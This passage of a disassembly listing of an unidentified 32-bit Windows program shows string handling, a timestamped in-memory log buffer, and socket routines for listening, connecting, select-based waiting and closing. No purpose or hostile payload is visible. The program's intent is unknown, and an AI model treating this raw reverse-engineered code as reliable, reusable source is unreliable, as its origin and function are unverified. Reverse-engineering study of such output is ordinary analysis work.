		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	near ptr byte_5FC011
		nop
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		dd 90909095h, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DAC
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		call	near ptr 71AB406Ah
		nop
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp
		call	ebp
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
